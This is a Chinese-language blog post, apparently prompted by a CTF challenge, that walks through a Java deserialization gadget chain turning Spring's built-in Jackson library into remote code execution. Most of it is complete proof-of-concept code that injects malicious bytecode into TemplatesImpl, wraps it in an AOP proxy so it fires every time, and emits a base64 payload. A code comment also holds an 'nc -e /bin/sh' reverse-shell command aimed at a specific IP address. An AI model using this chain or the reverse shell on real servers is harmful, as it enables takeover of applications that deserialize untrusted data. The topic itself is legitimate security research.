Spring-Jackson原生链
去年阿里云CTF bypassit1 爆出来一个链子,只需要Spring内置的Jackson依赖就可以实现RCE而不依赖任何其他外部库。
在Jackson通过writeValueAsString将对象转为JSON字符串的时候,获取对象属性的时候会自动调用其getter方法。
演示一个完整的序列化和返序列化JSON的过程:
package org.example;
import com.fasterxml.jackson.databind.ObjectMapper;
@SuppressWarnings("ALL")
public class Main {
public static void main(String[] args) throws Exception {
cat cat1 = new cat(new catinfo("JiaFei","Jerry",1));
System.out.println("原本的对象:"+cat1);
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
String jsonData = mapper.writeValueAsString(cat1);
System.out.println("序列化的数据:"+jsonData);
//
cat cat2 = mapper.readValue(jsonData, cat.class);
System.out.println("反序列化后的数据:"+cat2);
}
}
class animal {
public String name;
public int sex;
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getSex() {
System.out.println("getSex");
return sex;
}
public void setSex(int sex) {
System.out.println("setSex");
this.sex = sex;
}
public animal() {
System.out.println("animal无参构造");
}
public animal(String name, int sex) {
System.out.println("animal带参构造");
this.name = name;
this.sex = sex;
}
@Override
public String toString() {
return "animal{" +
"name='" + name + '\'' +
", sex=" + sex +
'}';
}
}
class catinfo extends animal{
public String kind;
@Override
public String toString() {
return "catinfo{" +
"kind='" + kind + '\'' +
", name='" + name + '\'' +
", sex=" + sex +
'}';
}
public String getKind() {
System.out.println("getKind");
return kind;
}
public void setKind(String kind) {
System.out.println("setKind");
this.kind = kind;
}
public catinfo(String kind, String name, int sex) {
super(name, sex);
System.out.println("catinfo带参构造");
this.kind = kind;
}
public catinfo() {
System.out.println("catinfo无参构造");
}
}
class cat {
public cat() {
System.out.println("cat无参构造");
}
public animal info;
public animal getInfo() {
System.out.println("getInfo");
return info;
}
public void setInfo(animal info) {
System.out.println("setInfo");
this.info = info;
}
public cat(animal cati) {
System.out.println("cat带参构造");
this.info = cati;
}
@Override
public String toString() {
return "cat{" +
"info=" + info +
'}';
}
}
如果我们能控制靶机JSON序列化一个恶意对象,就可以做到调用任意现有类的所有属性的getter方法
而在templatesImpl的一个getter方法getOutputProperties中:
有newTransformer方法,也就是会继续往下执行到defineClass来创建任意类,达到我们的目的。
因此现在要想办法找到从一个类的readObject方法作为入口,来执行JSON序列化任意对象。
ArrayNode是Jackson库中的一个类,用于表示JSON数组。
继承了祖先类BaseJsonNode,而BaseJsonNode重写了toString方法
该toString会把json数组中的每一个对象执行JSON序列化,返回String类型
而BadAttributeValueExpException的readObject方法中,可以执行一个可控对象的toString
因此我们只需要将恶意的templatesImpl传入ArrayNode数组,将数组设为BadAttributeValueExpException的属性val,去反序列化该BadAttributeValueExpException对象即可。
看到BadAttributeValueExpException的构造方法:
会把我们传入的对象进行toString再传给val。为了让val获取原始的ArrayNode对象,需要使用反射来构造BadAttributeValueExpException对象
POC:
package org.example;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ArrayNode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
public class Test {
public static void serialize(Object obj) throws Exception {
ObjectOutputStream objo = new ObjectOutputStream(new FileOutputStream("ser.txt"));
objo.writeObject(obj);
}
public static void unserialize() throws Exception{
ObjectInputStream obji = new ObjectInputStream(new FileInputStream("ser.txt"));
obji.readObject();
}
public static byte[][] generateEvilBytes() throws Exception{
ClassPool cp = ClassPool.getDefault();
cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = cp.makeClass("evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
byte[][] evilbyte = new byte[][]{cc.toBytecode()};
return evilbyte;
}
public static <T> void setValue(Object obj,String fname,T f) throws Exception{
Field filed = TemplatesImpl.class.getDeclaredField(fname);
filed.setAccessible(true);
filed.set(obj,f);
}
public static void main(String args[]) throws Exception{
TemplatesImpl tmp = new TemplatesImpl();
setValue(tmp,"_tfactory",new TransformerFactoryImpl());
setValue(tmp,"_name","123");
setValue(tmp,"_bytecodes",generateEvilBytes());
ObjectMapper objmapper = new ObjectMapper();
ArrayNode arrayNode =objmapper.createArrayNode();
arrayNode.addPOJO(tmp);
BadAttributeValueExpException bave = new BadAttributeValueExpException("1"); //反射绕过构造方法限制
Field f = BadAttributeValueExpException.class.getDeclaredField("val");
f.setAccessible(true);
f.set(bave,arrayNode);
serialize(bave);
unserialize();
}
}
在进行serialize(bave);的时候报了个错
跟进一下错误,是因为在writeObject序列化ArrayNode对象的时候,由于祖先类BaseJsonNode有writeReplace方法会替代原始的对象序列化方法,序列化成其他格式的数据,而在这过程中抛出了异常。
只需要把包内的writeReplace方法名改一改就可以了,直接用插件JarEditor
https://github.com/Liubsyy/JarEditor
这样解决了报错,并且保证了我们序列化的是原始构造的对象。
运行POC,成功弹计算器
解决链子不稳定的问题
在反序列化时,有时会在执行命令之前报出这个空指针的错
这是因为在BaseJsonNode.toString序列化POJONode的时候,调用getter方法的顺序是随机的。由于getter方法是通过反射调用,而反射机制中getDeclaredMethod获取的方法数组内,方法的顺序是随机的
这就导致反序列化时,执行TemplatesImpl对象的getter方法的顺序是不确定的,如果在执行getOutPutProperty前,先执行了getStylesheetDOM方法
这时候_sdom为null会导致报错,中断整个链子的反序列化过程。
我们希望最先执行的getter方法是getOutPutProperty,怎么实现呢
看到TemplatesImpl实现的接口Templates
只有newTransformer和getOutputProperties方法
如果我们能让一个代理对象以这个接口去动态代理我们的TemplatesImpl,将代理对象传入链子来进行JSON的序列化,那么JSON序列化就只能从这个接口中获取getter方法,也就是只能获取到getOutputProperties,实现目的
现在只需要找到一个依赖中的代理处理(handler)类,它的invoke可以执行被代理的方法本身即可。
找到org.springframework.aop.framework.JdkDynamicAopProxy,实现了InvocationHandler接口
看到invoke方法,这里有两处invokeJoinpointUsingReflection方法执行
跟进,看到method.invoke方法执行
参数就是invokeJoinpointUsingReflection方法里的target,method,args
调试得到可以直接执行的是下面那一个invokeJoinpointUsingReflection方法
给的target参数是targetSource.getTarget()
targetSource是this.advised.targetSource
advised是一个AdvisedSupport类的对象
AdvisedSupport类中,有setTarget和setTargetSource
可以利用setTarget把targetSource设为一个以参数构造的SingletonTargetSource类对象
跟进这个类的构造方法
可以看到getTarget就换返回target对象,在之前的invokeJoinpointUsingReflection方法中作为target参数,
在JdkDynamicAopProxy类的构造器中,接受AdvisedSupport类型的参数设为advised
因此我们只需要构造AdvisedSupport对象,执行其setTarget方法传入我们的TemplatesImpl对象即可,然后再将AdvisedSupport用于传入JdkDynamicAopProxy构造方法,即可构造出动态代理需要的handler
AdvisedSupport support = new AdvisedSupport();
support.setTarget(tmp);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(support);
把使用此handler的代理对象传入BadAttributeValueExpException对象即可实现稳定触发。完整POC:
package org.example;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ArrayNode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
public class Test {
public static void serialize(Object obj) throws Exception {
ObjectOutputStream objo = new ObjectOutputStream(new FileOutputStream("ser.txt"));
objo.writeObject(obj);
}
public static void unserialize() throws Exception{
ObjectInputStream obji = new ObjectInputStream(new FileInputStream("ser.txt"));
obji.readObject();
}
public static byte[][] generateEvilBytes() throws Exception{
ClassPool cp = ClassPool.getDefault();
cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = cp.makeClass("evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
//nc -e /bin/sh 121.199.39.4 3000
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
byte[][] evilbyte = new byte[][]{cc.toBytecode()};
return evilbyte;
}
public static <T> void setValue(Object obj,String fname,T f) throws Exception{
Field filed = TemplatesImpl.class.getDeclaredField(fname);
filed.setAccessible(true);
filed.set(obj,f);
}
public static String getb64(Object obj) throws Exception{
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream objout = new ObjectOutputStream(bout);
objout.writeObject(obj);
String base64 = Base64.getEncoder().encodeToString(bout.toByteArray());
return base64;
}
public static void main(String args[]) throws Exception{
//构造恶意TemplatesImpl
TemplatesImpl tmp = new TemplatesImpl();
setValue(tmp,"_tfactory",new TransformerFactoryImpl());
setValue(tmp,"_name","123");
setValue(tmp,"_bytecodes",generateEvilBytes());
//不稳定的触发
// ObjectMapper objmapper = new ObjectMapper();
// ArrayNode arrayNode =objmapper.createArrayNode();
// arrayNode.addPOJO(tmp);
// BadAttributeValueExpException bave = new BadAttributeValueExpException("1"); //反射绕过构造方法限制
// Field f = BadAttributeValueExpException.class.getDeclaredField("val");
// f.setAccessible(true);
// f.set(bave,arrayNode);
// serialize(bave);
// System.out.println(getb64(bave));
// System.out.println(getb64(bave).length());
// unserialize();
//稳定触发
AdvisedSupport support = new AdvisedSupport();
support.setTarget(tmp);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(support);
Templates proxy = (Templates) Proxy.newProxyInstance(Templates.class.getClassLoader(),new Class[]{Templates.class},handler);
ObjectMapper objmapper = new ObjectMapper();
ArrayNode arrayNode =objmapper.createArrayNode();
arrayNode.addPOJO(proxy);
BadAttributeValueExpException bave = new BadAttributeValueExpException("1"); //反射绕过构造方法限制
Field f = BadAttributeValueExpException.class.getDeclaredField("val");
f.setAccessible(true);
f.set(bave,arrayNode);
serialize(bave);
System.out.println(getb64(bave));
System.out.println(getb64(bave).length());
unserialize();
}
}
Comments NOTHING